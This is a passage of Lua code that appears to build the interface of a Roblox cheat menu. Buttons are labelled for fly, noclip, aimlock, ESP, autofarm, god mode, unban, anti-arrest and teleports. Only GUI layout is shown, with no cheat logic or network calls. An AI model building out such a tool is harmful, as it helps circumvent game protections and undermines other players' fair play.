Fly.Text = "Fly(X)" Fly.TextColor3 = Color3.fromRGB(255, 255, 255) Fly.TextSize = 14.000 Fling.Name = "Fling" Fling.Parent = MainFrame Fling.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Fling.BorderSizePixel = 0 Fling.Position = UDim2.new(0.352205783, 0, 0.409230769, 0) Fling.Size = UDim2.new(0, 94, 0, 46) Fling.Font = Enum.Font.GothamBlack Fling.Text = "Fling" Fling.TextColor3 = Color3.fromRGB(255, 255, 255) Fling.TextSize = 14.000 NoRecoil.Name = "NoRecoil" NoRecoil.Parent = MainFrame NoRecoil.BackgroundColor3 = Color3.fromRGB(10, 10, 10) NoRecoil.BorderSizePixel = 0 NoRecoil.Position = UDim2.new(0.355005682, 0, 0.221326202, 0) NoRecoil.Size = UDim2.new(0, 94, 0, 46) NoRecoil.Font = Enum.Font.GothamBlack NoRecoil.Text = "NoRecoil" NoRecoil.TextColor3 = Color3.fromRGB(255, 255, 255) NoRecoil.TextSize = 14.000 GoTo.Name = "GoTo" GoTo.Parent = MainFrame GoTo.BackgroundColor3 = Color3.fromRGB(10, 10, 10) GoTo.BorderSizePixel = 0 GoTo.Position = UDim2.new(0.678155124, 0, 0.409230769, 0) GoTo.Size = UDim2.new(0, 94, 0, 46) GoTo.Font = Enum.Font.GothamBlack GoTo.Text = "GoTo" GoTo.TextColor3 = Color3.fromRGB(255, 255, 255) GoTo.TextSize = 14.000 View.Name = "View" View.Parent = MainFrame View.BackgroundColor3 = Color3.fromRGB(10, 10, 10) View.BorderSizePixel = 0 View.Position = UDim2.new(0.680955052, 0, 0.221326202, 0) View.Size = UDim2.new(0, 94, 0, 46) View.Font = Enum.Font.GothamBlack View.Text = "View" View.TextColor3 = Color3.fromRGB(255, 255, 255) View.TextSize = 14.000 Target.Name = "Target" Target.Parent = MainFrame Target.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Target.BorderSizePixel = 0 Target.Position = UDim2.new(0.681183517, 0, 0.0399999991, 0) Target.Size = UDim2.new(0, 94, 0, 46) Target.Font = Enum.Font.GothamBlack Target.Text = "Target" Target.TextColor3 = Color3.fromRGB(255, 255, 255) Target.TextSize = 14.000 FlySpeedPlus.Name = "FlySpeedPlus" FlySpeedPlus.Parent = MainFrame FlySpeedPlus.BackgroundColor3 = Color3.fromRGB(10, 10, 10) FlySpeedPlus.BorderSizePixel = 0 FlySpeedPlus.Position = UDim2.new(0.677926719, 0, 0.762864709, 0) FlySpeedPlus.Size = UDim2.new(0, 94, 0, 46) FlySpeedPlus.Font = Enum.Font.GothamBlack FlySpeedPlus.Text = "FlySpeed +" FlySpeedPlus.TextColor3 = Color3.fromRGB(255, 255, 255) FlySpeedPlus.TextSize = 14.000 NoClip.Name = "NoClip" NoClip.Parent = MainFrame NoClip.BackgroundColor3 = Color3.fromRGB(10, 10, 10) NoClip.BorderSizePixel = 0 NoClip.Position = UDim2.new(0.677926719, 0, 0.590557039, 0) NoClip.Size = UDim2.new(0, 94, 0, 46) NoClip.Font = Enum.Font.GothamBlack NoClip.Text = "NoClip(Z)" NoClip.TextColor3 = Color3.fromRGB(255, 255, 255) NoClip.TextSize = 14.000 FlyMode.Name = "FlyMode" FlyMode.Parent = MainFrame FlyMode.BackgroundColor3 = Color3.fromRGB(10, 10, 10) FlyMode.BorderSizePixel = 0 FlyMode.Position = UDim2.new(0.351977378, 0, 0.590557039, 0) FlyMode.Size = UDim2.new(0, 94, 0, 46) FlyMode.Font = Enum.Font.GothamBlack FlyMode.Text = "FlyMode" FlyMode.TextColor3 = Color3.fromRGB(255, 255, 255) FlyMode.TextSize = 14.000 Reach.Name = "Reach" Reach.Parent = MainFrame Reach.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Reach.BorderSizePixel = 0 Reach.Position = UDim2.new(0.355234176, 0, 0.0399999991, 0) Reach.Size = UDim2.new(0, 94, 0, 46) Reach.Font = Enum.Font.GothamBlack Reach.Text = "Reach" Reach.TextColor3 = Color3.fromRGB(255, 255, 255) Reach.TextSize = 14.000 Headless.Name = "Headless" Headless.Parent = MainFrame Headless.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Headless.BorderSizePixel = 0 Headless.Position = UDim2.new(0.0221175179, 0, 0.409230769, 0) Headless.Size = UDim2.new(0, 94, 0, 46) Headless.Font = Enum.Font.GothamBlack Headless.Text = "Headless" Headless.TextColor3 = Color3.fromRGB(255, 255, 255) Headless.TextSize = 14.000 QuickTpFrame.Name = "QuickTpFrame" QuickTpFrame.Parent = Buttons QuickTpFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) QuickTpFrame.BackgroundTransparency = 1.000 QuickTpFrame.Size = UDim2.new(0, 316, 0, 325) QuickTpFrame.Visible = false GunShop2.Name = "GunShop2" GunShop2.Parent = QuickTpFrame GunShop2.BackgroundColor3 = Color3.fromRGB(10, 10, 10) GunShop2.BorderSizePixel = 0 GunShop2.Position = UDim2.new(0.0218890235, 0, 0.590557039, 0) GunShop2.Size = UDim2.new(0, 94, 0, 46) GunShop2.Font = Enum.Font.GothamBlack GunShop2.Text = "GunShop(UP)" GunShop2.TextColor3 = Color3.fromRGB(255, 255, 255) GunShop2.TextSize = 14.000 PrevPosition.Name = "PrevPosition" PrevPosition.Parent = QuickTpFrame PrevPosition.BackgroundColor3 = Color3.fromRGB(10, 10, 10) PrevPosition.BorderSizePixel = 0 PrevPosition.Position = UDim2.new(0.0251458082, 0, 0.0399999991, 0) PrevPosition.Size = UDim2.new(0, 94, 0, 46) PrevPosition.Font = Enum.Font.GothamBlack PrevPosition.Text = "PrevPos" PrevPosition.TextColor3 = Color3.fromRGB(255, 255, 255) PrevPosition.TextSize = 14.000 Bank.Name = "Bank" Bank.Parent = QuickTpFrame Bank.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Bank.BorderSizePixel = 0 Bank.Position = UDim2.new(0.024917312, 0, 0.221326202, 0) Bank.Size = UDim2.new(0, 94, 0, 46) Bank.Font = Enum.Font.GothamBlack Bank.Text = "Bank" Bank.TextColor3 = Color3.fromRGB(255, 255, 255) Bank.TextSize = 14.000 SafeZone1.Name = "SafeZone1" SafeZone1.Parent = QuickTpFrame SafeZone1.BackgroundColor3 = Color3.fromRGB(10, 10, 10) SafeZone1.BorderSizePixel = 0 SafeZone1.Position = UDim2.new(0.0218890235, 0, 0.762864709, 0) SafeZone1.Size = UDim2.new(0, 94, 0, 46) SafeZone1.Font = Enum.Font.GothamBlack SafeZone1.Text = "Safe Zone #1" SafeZone1.TextColor3 = Color3.fromRGB(255, 255, 255) SafeZone1.TextSize = 14.000 SetSpawn.Name = "SetSpawn" SetSpawn.Parent = QuickTpFrame SetSpawn.BackgroundColor3 = Color3.fromRGB(10, 10, 10) SetSpawn.BorderSizePixel = 0 SetSpawn.Position = UDim2.new(0.351977378, 0, 0.762864709, 0) SetSpawn.Size = UDim2.new(0, 94, 0, 46) SetSpawn.Font = Enum.Font.GothamBlack SetSpawn.Text = "SetSpawn" SetSpawn.TextColor3 = Color3.fromRGB(255, 255, 255) SetSpawn.TextSize = 14.000 Sewer.Name = "Sewer" Sewer.Parent = QuickTpFrame Sewer.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Sewer.BorderSizePixel = 0 Sewer.Position = UDim2.new(0.352205783, 0, 0.409230769, 0) Sewer.Size = UDim2.new(0, 94, 0, 46) Sewer.Font = Enum.Font.GothamBlack Sewer.Text = "Sewer" Sewer.TextColor3 = Color3.fromRGB(255, 255, 255) Sewer.TextSize = 14.000 Playground.Name = "Playground" Playground.Parent = QuickTpFrame Playground.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Playground.BorderSizePixel = 0 Playground.Position = UDim2.new(0.355005682, 0, 0.221326202, 0) Playground.Size = UDim2.new(0, 94, 0, 46) Playground.Font = Enum.Font.GothamBlack Playground.Text = "Playground" Playground.TextColor3 = Color3.fromRGB(255, 255, 255) Playground.TextSize = 14.000 GasStation.Name = "GasStation" GasStation.Parent = QuickTpFrame GasStation.BackgroundColor3 = Color3.fromRGB(10, 10, 10) GasStation.BorderSizePixel = 0 GasStation.Position = UDim2.new(0.678155124, 0, 0.409230769, 0) GasStation.Size = UDim2.new(0, 94, 0, 46) GasStation.Font = Enum.Font.GothamBlack GasStation.Text = "GasStation" GasStation.TextColor3 = Color3.fromRGB(255, 255, 255) GasStation.TextSize = 14.000 LavaBase.Name = "LavaBase" LavaBase.Parent = QuickTpFrame LavaBase.BackgroundColor3 = Color3.fromRGB(10, 10, 10) LavaBase.BorderSizePixel = 0 LavaBase.Position = UDim2.new(0.680955052, 0, 0.221326202, 0) LavaBase.Size = UDim2.new(0, 94, 0, 46) LavaBase.Font = Enum.Font.GothamBlack LavaBase.Text = "LavaBase" LavaBase.TextColor3 = Color3.fromRGB(255, 255, 255) LavaBase.TextSize = 14.000 SavePos.Name = "SavePos" SavePos.Parent = QuickTpFrame SavePos.BackgroundColor3 = Color3.fromRGB(10, 10, 10) SavePos.BorderSizePixel = 0 SavePos.Position = UDim2.new(0.681183517, 0, 0.0399999991, 0) SavePos.Size = UDim2.new(0, 94, 0, 46) SavePos.Font = Enum.Font.GothamBlack SavePos.Text = "SavePos" SavePos.TextColor3 = Color3.fromRGB(255, 255, 255) SavePos.TextSize = 14.000 SafeZone2.Name = "SafeZone2" SafeZone2.Parent = QuickTpFrame SafeZone2.BackgroundColor3 = Color3.fromRGB(10, 10, 10) SafeZone2.BorderSizePixel = 0 SafeZone2.Position = UDim2.new(0.677926719, 0, 0.762864709, 0) SafeZone2.Size = UDim2.new(0, 94, 0, 46) SafeZone2.Font = Enum.Font.GothamBlack SafeZone2.Text = "Safe Zone #2" SafeZone2.TextColor3 = Color3.fromRGB(255, 255, 255) SafeZone2.TextSize = 14.000 UFO.Name = "UFO" UFO.Parent = QuickTpFrame UFO.BackgroundColor3 = Color3.fromRGB(10, 10, 10) UFO.BorderSizePixel = 0 UFO.Position = UDim2.new(0.677926719, 0, 0.590557039, 0) UFO.Size = UDim2.new(0, 94, 0, 46) UFO.Font = Enum.Font.GothamBlack UFO.Text = "UFO" UFO.TextColor3 = Color3.fromRGB(255, 255, 255) UFO.TextSize = 14.000 TacoShop.Name = "TacoShop" TacoShop.Parent = QuickTpFrame TacoShop.BackgroundColor3 = Color3.fromRGB(10, 10, 10) TacoShop.BorderSizePixel = 0 TacoShop.Position = UDim2.new(0.351977378, 0, 0.590557039, 0) TacoShop.Size = UDim2.new(0, 94, 0, 46) TacoShop.Font = Enum.Font.GothamBlack TacoShop.Text = "TacoShop" TacoShop.TextColor3 = Color3.fromRGB(255, 255, 255) TacoShop.TextSize = 14.000 LoadPos.Name = "LoadPos" LoadPos.Parent = QuickTpFrame LoadPos.BackgroundColor3 = Color3.fromRGB(10, 10, 10) LoadPos.BorderSizePixel = 0 LoadPos.Position = UDim2.new(0.355234176, 0, 0.0399999991, 0) LoadPos.Size = UDim2.new(0, 94, 0, 46) LoadPos.Font = Enum.Font.GothamBlack LoadPos.Text = "LoadPos" LoadPos.TextColor3 = Color3.fromRGB(255, 255, 255) LoadPos.TextSize = 14.000 GunShop1.Name = "GunShop1" GunShop1.Parent = QuickTpFrame GunShop1.BackgroundColor3 = Color3.fromRGB(10, 10, 10) GunShop1.BorderSizePixel = 0 GunShop1.Position = UDim2.new(0.0221175179, 0, 0.409230769, 0) GunShop1.Size = UDim2.new(0, 94, 0, 46) GunShop1.Font = Enum.Font.GothamBlack GunShop1.Text = "GunShop(AK)" GunShop1.TextColor3 = Color3.fromRGB(255, 255, 255) GunShop1.TextSize = 14.000 SideScriptsFrame.Name = "SideScriptsFrame" SideScriptsFrame.Parent = Buttons SideScriptsFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) SideScriptsFrame.BackgroundTransparency = 1.000 SideScriptsFrame.Size = UDim2.new(0, 316, 0, 325) SideScriptsFrame.Visible = false Aimlock.Name = "Aimlock" Aimlock.Parent = SideScriptsFrame Aimlock.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Aimlock.BorderSizePixel = 0 Aimlock.Position = UDim2.new(0.0218890235, 0, 0.590557039, 0) Aimlock.Size = UDim2.new(0, 94, 0, 46) Aimlock.Font = Enum.Font.GothamBlack Aimlock.Text = "Aimlock" Aimlock.TextColor3 = Color3.fromRGB(255, 255, 255) Aimlock.TextSize = 14.000 Users.Name = "Users" Users.Parent = SideScriptsFrame Users.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Users.BorderSizePixel = 0 Users.Position = UDim2.new(0.0251458082, 0, 0.0399999991, 0) Users.Size = UDim2.new(0, 94, 0, 46) Users.Font = Enum.Font.GothamBlack Users.Text = "Users" Users.TextColor3 = Color3.fromRGB(255, 255, 255) Users.TextSize = 14.000 MoneyESP.Name = "MoneyESP" MoneyESP.Parent = SideScriptsFrame MoneyESP.BackgroundColor3 = Color3.fromRGB(10, 10, 10) MoneyESP.BorderSizePixel = 0 MoneyESP.Position = UDim2.new(0.024917312, 0, 0.221326202, 0) MoneyESP.Size = UDim2.new(0, 94, 0, 46) MoneyESP.Font = Enum.Font.GothamBlack MoneyESP.Text = "MoneyESP" MoneyESP.TextColor3 = Color3.fromRGB(255, 255, 255) MoneyESP.TextSize = 14.000 FullGod.Name = "FullGod" FullGod.Parent = SideScriptsFrame FullGod.BackgroundColor3 = Color3.fromRGB(10, 10, 10) FullGod.BorderSizePixel = 0 FullGod.Position = UDim2.new(0.0218890235, 0, 0.762864709, 0) FullGod.Size = UDim2.new(0, 94, 0, 46) FullGod.Font = Enum.Font.GothamBlack FullGod.Text = "" FullGod.TextColor3 = Color3.fromRGB(255, 255, 255) FullGod.TextSize = 14.000 Autofarm.Name = "Autofarm" Autofarm.Parent = SideScriptsFrame Autofarm.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Autofarm.BorderSizePixel = 0 Autofarm.Position = UDim2.new(0.351977378, 0, 0.762864709, 0) Autofarm.Size = UDim2.new(0, 94, 0, 46) Autofarm.Font = Enum.Font.GothamBlack Autofarm.Text = "Autofarm" Autofarm.TextColor3 = Color3.fromRGB(255, 255, 255) Autofarm.TextSize = 14.000 HighTool.Name = "HighTool" HighTool.Parent = SideScriptsFrame HighTool.BackgroundColor3 = Color3.fromRGB(10, 10, 10) HighTool.BorderSizePixel = 0 HighTool.Position = UDim2.new(0.352205783, 0, 0.409230769, 0) HighTool.Size = UDim2.new(0, 94, 0, 46) HighTool.Font = Enum.Font.GothamBlack HighTool.Text = "High Tool" HighTool.TextColor3 = Color3.fromRGB(255, 255, 255) HighTool.TextSize = 14.000 Esp.Name = "Esp" Esp.Parent = SideScriptsFrame Esp.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Esp.BorderSizePixel = 0 Esp.Position = UDim2.new(0.355005682, 0, 0.221326202, 0) Esp.Size = UDim2.new(0, 94, 0, 46) Esp.Font = Enum.Font.GothamBlack Esp.Text = "Esp" Esp.TextColor3 = Color3.fromRGB(255, 255, 255) Esp.TextSize = 14.000 LastingBullets.Name = "LastingBullets" LastingBullets.Parent = SideScriptsFrame LastingBullets.BackgroundColor3 = Color3.fromRGB(10, 10, 10) LastingBullets.BorderSizePixel = 0 LastingBullets.Position = UDim2.new(0.678155124, 0, 0.409230769, 0) LastingBullets.Size = UDim2.new(0, 94, 0, 46) LastingBullets.Font = Enum.Font.GothamBlack LastingBullets.Text = "LastingBullets" LastingBullets.TextColor3 = Color3.fromRGB(255, 255, 255) LastingBullets.TextSize = 14.000 Stamina.Name = "Stamina" Stamina.Parent = SideScriptsFrame Stamina.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Stamina.BorderSizePixel = 0 Stamina.Position = UDim2.new(0.680955052, 0, 0.221326202, 0) Stamina.Size = UDim2.new(0, 94, 0, 46) Stamina.Font = Enum.Font.GothamBlack Stamina.Text = "Stamina" Stamina.TextColor3 = Color3.fromRGB(255, 255, 255) Stamina.TextSize = 14.000 Spin.Name = "Spin" Spin.Parent = SideScriptsFrame Spin.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Spin.BorderSizePixel = 0 Spin.Position = UDim2.new(0.681183517, 0, 0.0399999991, 0) Spin.Size = UDim2.new(0, 94, 0, 46) Spin.Font = Enum.Font.GothamBlack Spin.Text = "Spin" Spin.TextColor3 = Color3.fromRGB(255, 255, 255) Spin.TextSize = 14.000 Unban.Name = "Unban" Unban.Parent = SideScriptsFrame Unban.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Unban.BorderSizePixel = 0 Unban.Position = UDim2.new(0.677926719, 0, 0.762864709, 0) Unban.Size = UDim2.new(0, 94, 0, 46) Unban.Font = Enum.Font.GothamBlack Unban.Text = "Unban" Unban.TextColor3 = Color3.fromRGB(255, 255, 255) Unban.TextSize = 14.000 SwagUsers.Name = "SwagUsers" SwagUsers.Parent = SideScriptsFrame SwagUsers.BackgroundColor3 = Color3.fromRGB(10, 10, 10) SwagUsers.BorderSizePixel = 0 SwagUsers.Position = UDim2.new(0.677926719, 0, 0.590557039, 0) SwagUsers.Size = UDim2.new(0, 94, 0, 46) SwagUsers.Font = Enum.Font.GothamBlack SwagUsers.Text = "SwagUsers" SwagUsers.TextColor3 = Color3.fromRGB(255, 255, 255) SwagUsers.TextSize = 14.000 LockTools.Name = "LockTools" LockTools.Parent = SideScriptsFrame LockTools.BackgroundColor3 = Color3.fromRGB(10, 10, 10) LockTools.BorderSizePixel = 0 LockTools.Position = UDim2.new(0.351977378, 0, 0.590557039, 0) LockTools.Size = UDim2.new(0, 94, 0, 46) LockTools.Font = Enum.Font.GothamBlack LockTools.Text = "LockTools" LockTools.TextColor3 = Color3.fromRGB(255, 255, 255) LockTools.TextSize = 14.000 Invisible.Name = "Invisible" Invisible.Parent = SideScriptsFrame Invisible.BackgroundColor3 = Color3.fromRGB(10, 10, 10) Invisible.BorderSizePixel = 0 Invisible.Position = UDim2.new(0.355234176, 0, 0.0399999991, 0) Invisible.Size = UDim2.new(0, 94, 0, 46) Invisible.Font = Enum.Font.GothamBlack Invisible.Text = "Invisible" Invisible.TextColor3 = Color3.fromRGB(255, 255, 255) Invisible.TextSize = 14.000 InfTools.Name = "InfTools" InfTools.Parent = SideScriptsFrame InfTools.BackgroundColor3 = Color3.fromRGB(10, 10, 10) InfTools.BorderSizePixel = 0 InfTools.Position = UDim2.new(0.0221175179, 0, 0.409230769, 0) InfTools.Size = UDim2.new(0, 94, 0, 46) InfTools.Font = Enum.Font.GothamBlack InfTools.Text = "InfTools" InfTools.TextColor3 = Color3.fromRGB(255, 255, 255) InfTools.TextSize = 14.000 TogglesFrame.Name = "TogglesFrame" TogglesFrame.Parent = Buttons TogglesFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TogglesFrame.BackgroundTransparency = 1.000 TogglesFrame.Size = UDim2.new(0, 316, 0, 325) TogglesFrame.Visible = false QToTp.Name = "QToTp" QToTp.Parent = TogglesFrame QToTp.BackgroundColor3 = Color3.fromRGB(10, 10, 10) QToTp.BorderSizePixel = 0 QToTp.Position = UDim2.new(0.0251458082, 0, 0.0399999991, 0) QToTp.Size = UDim2.new(0, 94, 0, 46) QToTp.Font = Enum.Font.GothamBlack QToTp.Text = "Q to TP" QToTp.TextColor3 = Color3.fromRGB(255, 255, 255) QToTp.TextSize = 14.000 QToTpColor.Name = "QToTpColor" QToTpColor.Parent = QToTp QToTpColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) QToTpColor.BorderSizePixel = 0 QToTpColor.Size = UDim2.new(0, 93, 0, 5) QToTpColor.Font = Enum.Font.SourceSans QToTpColor.Text = "" QToTpColor.TextColor3 = Color3.fromRGB(255, 0, 0) QToTpColor.TextSize = 14.000 HideBlock.Name = "HideBlock" HideBlock.Parent = TogglesFrame HideBlock.BackgroundColor3 = Color3.fromRGB(10, 10, 10) HideBlock.BorderSizePixel = 0 HideBlock.Position = UDim2.new(0.024917312, 0, 0.221326202, 0) HideBlock.Size = UDim2.new(0, 94, 0, 46) HideBlock.Font = Enum.Font.GothamBlack HideBlock.Text = "Hide Block" HideBlock.TextColor3 = Color3.fromRGB(255, 255, 255) HideBlock.TextSize = 14.000 HideBlockColor.Name = "HideBlockColor" HideBlockColor.Parent = HideBlock HideBlockColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) HideBlockColor.BorderSizePixel = 0 HideBlockColor.Size = UDim2.new(0, 93, 0, 5) HideBlockColor.Font = Enum.Font.SourceSans HideBlockColor.Text = "" HideBlockColor.TextColor3 = Color3.fromRGB(255, 0, 0) HideBlockColor.TextSize = 14.000 HideUser.Name = "HideUser" HideUser.Parent = TogglesFrame HideUser.BackgroundColor3 = Color3.fromRGB(10, 10, 10) HideUser.BorderSizePixel = 0 HideUser.Position = UDim2.new(0.0218890235, 0, 0.590557039, 0) HideUser.Size = UDim2.new(0, 94, 0, 46) HideUser.Font = Enum.Font.GothamBlack HideUser.Text = "Hide User" HideUser.TextColor3 = Color3.fromRGB(255, 255, 255) HideUser.TextSize = 14.000 HideUserColor.Name = "HideUserColor" HideUserColor.Parent = HideUser HideUserColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) HideUserColor.BorderSizePixel = 0 HideUserColor.Size = UDim2.new(0, 93, 0, 5) HideUserColor.Font = Enum.Font.SourceSans HideUserColor.Text = "" HideUserColor.TextColor3 = Color3.fromRGB(255, 0, 0) HideUserColor.TextSize = 14.000 AutoStomp.Name = "AutoStomp" AutoStomp.Parent = TogglesFrame AutoStomp.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AutoStomp.BorderSizePixel = 0 AutoStomp.Position = UDim2.new(0.0221175179, 0, 0.409230769, 0) AutoStomp.Size = UDim2.new(0, 94, 0, 46) AutoStomp.Font = Enum.Font.GothamBlack AutoStomp.Text = "Auto Stomp" AutoStomp.TextColor3 = Color3.fromRGB(255, 255, 255) AutoStomp.TextSize = 14.000 AutoStompColor.Name = "AutoStompColor" AutoStompColor.Parent = AutoStomp AutoStompColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AutoStompColor.BorderSizePixel = 0 AutoStompColor.Size = UDim2.new(0, 93, 0, 5) AutoStompColor.Font = Enum.Font.SourceSans AutoStompColor.Text = "" AutoStompColor.TextColor3 = Color3.fromRGB(255, 0, 0) AutoStompColor.TextSize = 14.000 RocketRide.Name = "RocketRide" RocketRide.Parent = TogglesFrame RocketRide.BackgroundColor3 = Color3.fromRGB(10, 10, 10) RocketRide.BorderSizePixel = 0 RocketRide.Position = UDim2.new(0.0218890235, 0, 0.762864709, 0) RocketRide.Size = UDim2.new(0, 94, 0, 46) RocketRide.Font = Enum.Font.GothamBlack RocketRide.Text = "Rocket Ride" RocketRide.TextColor3 = Color3.fromRGB(255, 255, 255) RocketRide.TextSize = 14.000 RocketRideColor.Name = "RocketRideColor" RocketRideColor.Parent = RocketRide RocketRideColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) RocketRideColor.BorderSizePixel = 0 RocketRideColor.Size = UDim2.new(0, 93, 0, 5) RocketRideColor.Font = Enum.Font.SourceSans RocketRideColor.Text = "" RocketRideColor.TextColor3 = Color3.fromRGB(255, 0, 0) RocketRideColor.TextSize = 14.000 AntiArrest.Name = "AntiArrest" AntiArrest.Parent = TogglesFrame AntiArrest.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AntiArrest.BorderSizePixel = 0 AntiArrest.Position = UDim2.new(0.352205783, 0, 0.409230769, 0) AntiArrest.Size = UDim2.new(0, 94, 0, 46) AntiArrest.Font = Enum.Font.GothamBlack AntiArrest.Text = "Anti-Arrest" AntiArrest.TextColor3 = Color3.fromRGB(255, 255, 255) AntiArrest.TextSize = 14.000 AntiArrestColor.Name = "AntiArrestColor" AntiArrestColor.Parent = AntiArrest AntiArrestColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AntiArrestColor.BorderSizePixel = 0 AntiArrestColor.Size = UDim2.new(0, 93, 0, 5) AntiArrestColor.Font = Enum.Font.SourceSans AntiArrestColor.Text = "" AntiArrestColor.TextColor3 = Color3.fromRGB(255, 0, 0) AntiArrestColor.TextSize = 14.000 AntiGrab.Name = "AntiGrab" AntiGrab.Parent = TogglesFrame AntiGrab.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AntiGrab.BorderSizePixel = 0 AntiGrab.Position = UDim2.new(0.351977378, 0, 0.762864709, 0) AntiGrab.Size = UDim2.new(0, 94, 0, 46) AntiGrab.Font = Enum.Font.GothamBlack AntiGrab.Text = "Anti-Grab" AntiGrab.TextColor3 = Color3.fromRGB(255, 255, 255) AntiGrab.TextSize = 14.000 AntiGrabColor.Name = "AntiGrabColor" AntiGrabColor.Parent = AntiGrab AntiGrabColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AntiGrabColor.BorderSizePixel = 0 AntiGrabColor.Size = UDim2.new(0, 93, 0, 5) AntiGrabColor.Font = Enum.Font.SourceSans AntiGrabColor.Text = "" AntiGrabColor.TextColor3 = Color3.fromRGB(255, 0, 0) AntiGrabColor.TextSize = 14.000 AutoDrop.Name = "AutoDrop" AutoDrop.Parent = TogglesFrame AutoDrop.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AutoDrop.BorderSizePixel = 0 AutoDrop.Position = UDim2.new(0.678155124, 0, 0.409230769, 0) AutoDrop.Size = UDim2.new(0, 94, 0, 46) AutoDrop.Font = Enum.Font.GothamBlack AutoDrop.Text = "Auto Drop" AutoDrop.TextColor3 = Color3.fromRGB(255, 255, 255) AutoDrop.TextSize = 14.000 AutoDropColor.Name = "AutoDropColor" AutoDropColor.Parent = AutoDrop AutoDropColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AutoDropColor.BorderSizePixel = 0 AutoDropColor.Size = UDim2.new(0, 93, 0, 5) AutoDropColor.Font = Enum.Font.SourceSans AutoDropColor.Text = "" AutoDropColor.TextColor3 = Color3.fromRGB(255, 0, 0) AutoDropColor.TextSize = 14.000 AntiStomp.Name = "AntiStomp" AntiStomp.Parent = TogglesFrame AntiStomp.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AntiStomp.BorderSizePixel = 0 AntiStomp.Position = UDim2.new(0.355005682, 0, 0.221326202, 0) AntiStomp.Size = UDim2.new(0, 94, 0, 46) AntiStomp.Font = Enum.Font.GothamBlack AntiStomp.Text = "Anti-Stomp" AntiStomp.TextColor3 = Color3.fromRGB(255, 255, 255) AntiStomp.TextSize = 14.000 AntiStompColor.Name = "AntiStompColor" AntiStompColor.Parent = AntiStomp AntiStompColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AntiStompColor.BorderSizePixel = 0 AntiStompColor.Size = UDim2.new(0, 93, 0, 5) AntiStompColor.Font = Enum.Font.SourceSans AntiStompColor.Text = "" AntiStompColor.TextColor3 = Color3.fromRGB(255, 0, 0) AntiStompColor.TextSize = 14.000 AutoBlock.Name = "AutoBlock" AutoBlock.Parent = TogglesFrame AutoBlock.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AutoBlock.BorderSizePixel = 0 AutoBlock.Position = UDim2.new(0.680955052, 0, 0.221326202, 0) AutoBlock.Size = UDim2.new(0, 94, 0, 46) AutoBlock.Font = Enum.Font.GothamBlack AutoBlock.Text = "Auto Block" AutoBlock.TextColor3 = Color3.fromRGB(255, 255, 255) AutoBlock.TextSize = 14.000 AutoBlockColor.Name = "AutoBlockColor" AutoBlockColor.Parent = AutoBlock AutoBlockColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AutoBlockColor.BorderSizePixel = 0 AutoBlockColor.Size = UDim2.new(0, 93, 0, 5) AutoBlockColor.Font = Enum.Font.SourceSans AutoBlockColor.Text = "" AutoBlockColor.TextColor3 = Color3.fromRGB(255, 0, 0) AutoBlockColor.TextSize = 14.000 CashAura.Name = "CashAura" CashAura.Parent = TogglesFrame CashAura.BackgroundColor3 = Color3.fromRGB(10, 10, 10) CashAura.BorderSizePixel = 0 CashAura.Position = UDim2.new(0.681183517, 0, 0.0399999991, 0) CashAura.Size = UDim2.new(0, 94, 0, 46) CashAura.Font = Enum.Font.GothamBlack CashAura.Text = "Cash Aura" CashAura.TextColor3 = Color3.fromRGB(255, 255, 255) CashAura.TextSize = 14.000 CashAuraColor.Name = "CashAuraColor" CashAuraColor.Parent = CashAura CashAuraColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) CashAuraColor.BorderSizePixel = 0 CashAuraColor.Size = UDim2.new(0, 93, 0, 5) CashAuraColor.Font = Enum.Font.SourceSans CashAuraColor.Text = "" CashAuraColor.TextColor3 = Color3.fromRGB(255, 0, 0) CashAuraColor.TextSize = 14.000 AntiEffects.Name = "AntiEffects" AntiEffects.Parent = TogglesFrame AntiEffects.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AntiEffects.BorderSizePixel = 0 AntiEffects.Position = UDim2.new(0.677926719, 0, 0.762864709, 0) AntiEffects.Size = UDim2.new(0, 94, 0, 46) AntiEffects.Font = Enum.Font.GothamBlack AntiEffects.Text = "Anti-Effects" AntiEffects.TextColor3 = Color3.fromRGB(255, 255, 255) AntiEffects.TextSize = 14.000 AntiEffectsColor.Name = "AntiEffectsColor" AntiEffectsColor.Parent = AntiEffects AntiEffectsColor.BackgroundColor3 = Color3.fromRGB(255, 0, 0) AntiEffectsColor.BorderSizePixel = 0 AntiEffectsColor.Size = UDim2.new(0, 93, 0, 5) AntiEffectsColor.Font = Enum.Font.SourceSans AntiEffectsColor.Text = "" AntiEffectsColor.TextColor3 = Color3.fromRGB(255, 0, 0) AntiEffectsColor.TextSize = 14.000 AltArmor.Name = "AltArmor" AltArmor.Parent = TogglesFrame AltArmor.BackgroundColor3 = Color3.fromRGB(10, 10, 10) AltArmor.BorderSizePixel = 0 AltArmor.Position = UDim2.new(0.677926719, 0, 